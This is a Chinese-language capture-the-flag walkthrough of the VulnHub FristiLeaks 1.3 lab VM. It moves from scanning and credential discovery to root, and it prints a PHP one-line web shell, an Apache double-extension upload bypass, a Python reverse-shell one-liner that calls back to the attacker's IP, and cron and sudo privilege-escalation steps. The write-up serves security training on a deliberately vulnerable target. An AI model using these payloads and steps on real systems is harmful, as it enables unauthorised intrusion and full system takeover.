项目地址
https://www.vulnhub.com/entry/fristileaks-13,133/
环境搭建
Goal: get root (uid 0) and read the flag file
目标:获取root(uid 0)并读取flag文件
VMware users will need to manually edit the VM's MAC address to: 08:00:27:A5:A6:76
VMware用户需要手动将虚拟机的MAC地址编辑为:08:00:27:A5:A6:76
根据描述,将靶机mac地址改为:08:00:27:A5:A6:76
1.主机发现
arp-scan -l
2.端口扫描
nmap -p- 192.168.119.142
3.目录扫描
dirsearch -u "http://192.168.119.142" -e *
4.Web访问
看似没什么东西,再看一下目录扫描的结果
http://192.168.119.142/robots.txt
记录了三条数据,分别拼接到url路径上访问一下看看
都是同一张照片
http://192.168.119.142/cola
http://192.168.119.142/sisi
http://192.168.119.142/beer
5.漏洞挖掘
照片上的提示This is not the url
,我们可以大概猜测到是想让我们寻找url链接或路径,再次回到首页,看看有没有什么有用的线索
根据页面上的大字KEEP CALM AND DRINK FRISTI
->保持冷静,先喝酒
,还有刚才访问的三个页面路径都是喝的,那我们尝试将fristi
作为路径进行访问
http://192.168.119.142/fristi/
发现一个登录页面
遇到登录页面,尝试弱口令、暴力破解还有SQL注入都没有成功,F12
查看源码时有所发现,这而记录了一份用户eezeepz
写的内容,下边还有一长串base64
加密后的密文,接下来去kali
中对密文进行base64
解码
<!--
iVBORw0KGgoAAAANSUhEUgAAAW0AAABLCAIAAAA04UHqAAAAAXNSR0IArs4c6QAAAARnQU1BAACx
jwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAARSSURBVHhe7dlRdtsgEIVhr8sL8nqymmwmi0kl
S0iAQGY0Nb01//dWSQyTgdxz2t5+AcCHHAHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixw
B4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzkCwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL5kc+f
m63yaP7/XP/5RUM2jx7iMz1ZdqpguZHPl+zJO53b9+1gd/0TL2Wull5+RMpJq5tMTkE1paHlVXJJ
Zv7/d5i6qse0t9rWa6UMsR1+WrORl72DbdWKqZS0tMPqGl8LRhzyWjWkTFDPXFmulC7e81bxnNOvb
DpYzOMN1WqplLS0w+oaXwomXXtfhL8e6W+lrNdDFujoQNJ9XbKtHMpSUmn9BSeGf51bUcr6W+VjNd
jJQjcelwepPCjlLNXFpi8gktXfnVtYSd6UpINdPFCDlyKB3dyPLpSTVzZYnJR7R0WHEiFGv5NrDU
12qmC/1/Zz2ZWXi1abli0aLqjZdq5sqSxUgtWY7syq+u6UpINdOFeI5ENygbTfj+qDbc+QpG9c5
uvFQzV5aM15LlyMrfnrPU12qmC+Ucqd+g6E1JNsX16/i/6BtvvEQzF5YM2JLhyMLz4sNNtp/pSkg1
04VajmwziEdZvmSz9E0YbzbI/FSycgVSzZiXDNmS4cjCni+kLRnqizXThUqOhEkso2k5pGy00aLq
i1n+skSqGfOSIVsKC5Zv4+XH36vQzbl0V0t9rWb6EMyRaLLp+Bbhy31k8SBbjqpUNSHVjHXJmC2Fg
tOH0drysrz404sdLPW1mulDLUdSpdEsk5vf5Gtqg1xnfX88tu/PZy7VjHXJmC21H9lWvBBfdZb6Ws
30oZ0jk3y+pQ9fnEG4lNOco9UnY5dqxrhk0JZKezwdNwqfnv6AOUN9sWb6UMyR5zT2B+lwDh++Fl
3K/U+z2uFJNWNcMmhLzUe2v6n/dAWG+mLN9KGWI9EcKsMJl6o6+ecH8dv0Uu4PnkqDl2rGuiS8HK
ul9iMrFG9gqa/VTB8qORLuSTqF7fYU7tgsn/4+zfhV6aiiIsczlGrGvGTIlsLLhiPbnh6KnLDU12q
mD+0cKQ8nunpVcZ21Rj7erEz0WqoZ+5IRW1oXNB3Z/vBMWulSfYlm+hDLkcIAtuHEUzu/l9l867X34
rPtA6lmLi0ZrqX6gu37aIukRkVaylRfqpk+9HNkH85hNocTKC4P31Vebhd8fy/VzOTCkqeBWlrrFhe
EPdMjO3SSys7XVF+qmT5UcmT9+Ss//fyyOLU3kWoGLd59ZKb6Us10IZMjAP5b5AgAL3IEgBc5AsCLH
AHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixwB4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzk
CwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL3IEgBc5AsCLHAHgRY4A8Pn9/QNa7zik1qtycQAAAABJR
U5ErkJggg==
-->
先将密文写进1.txt
vim 1.txt
然后开始解密
base64 -d 1.txt > 2.txt
cat 2.txt
解密后显示PNG
,联想到可能得解密成PNG文件
base64 -d 1.txt > 1.png
解密成功,得到一串字符
keKkeKKeKKeKkEkkEk
猜测这串字符可能是密码,配合刚才得到的用户名可以登录,尝试一下登录
eezeepz
keKkeKKeKKeKkEkkEk
登录成功
可以上传文件,猜测大概率是一个文件上传漏洞,我们传一个php
文件验证一下
上传失败,被拦截了
通过插件Wappalyzer
可以看到是Apache服务器,我们利用Apache解析漏洞来尝试绕过
将文件后缀名改为.php.gif
尝试一下绕过
可以看到绕过成功,文件被上传到了/uploads
目录,确认存在文件上传漏洞
6.漏洞利用
上传一句话木马尝试执行系统命令
<?php @system($_POST[cmd]);?>
接下来尝试反弹shell,反弹到kali
的4444
端口,kali开启监听
nc -lvvp 6666
使用浏览器插件hackbar
来进行post
传参
cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.119.128",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'
7.权限提升
先查看一下eezeepz
用户家目录下有什么文件
cd /home/eezeepz
ls -al
看到一个notes.txt
,我们来查看一下
cat notes.txt
这段话的大致意思是我们可以按照要求来运行一些admin
权限的命令,那我们按照要求来尝试一下
echo '/home/admin/chmod -R 777 /home/admin/' > /tmp/runthis
ls /tmp
发现生成了cronresut
文件,查看一下权限
ls -al /home
进去看看
cd /home/admin
ls
除了几个命令之外,有两个python脚本和两个txt文件,通过查看发现txt文件里的内容是经过加密的,那python脚本可能是加密代码,通过加密代码写一个解密脚本
# whoisyourgodnow.txt
=RFn0AKnlMHMPIzpyuTI0ITG
# cryptedpass.txt
mVGZ3O3omkJLmy2pcuTq
# 1.py
import base64,codecs,sys
def decodeString(str):
base64string= codecs.decode(str,'rot13')
return base64.b64decode(base64string[::-1])
cryptoResult=decodeString(sys.argv[1])
print(cryptoResult)
LetThereBeFristi!
thisisalsopw123
这两个可能是密码,尝试切换用户登录
ls /home
登录成功,接下来提权
sudo -l
/var/fristigod/.secret_admin_stuff/doCom
cd /var
cd fristigod
cd .secret_admin_stuff
./doCom
sudo -u fristi ./doCom
sudo -u fristi ./doCom /bin/bash -p
whoami
cd /root
ls
cat fristileaks_secrets.txt
Flag: Y0u_kn0w_y0u_l0ve_fr1st1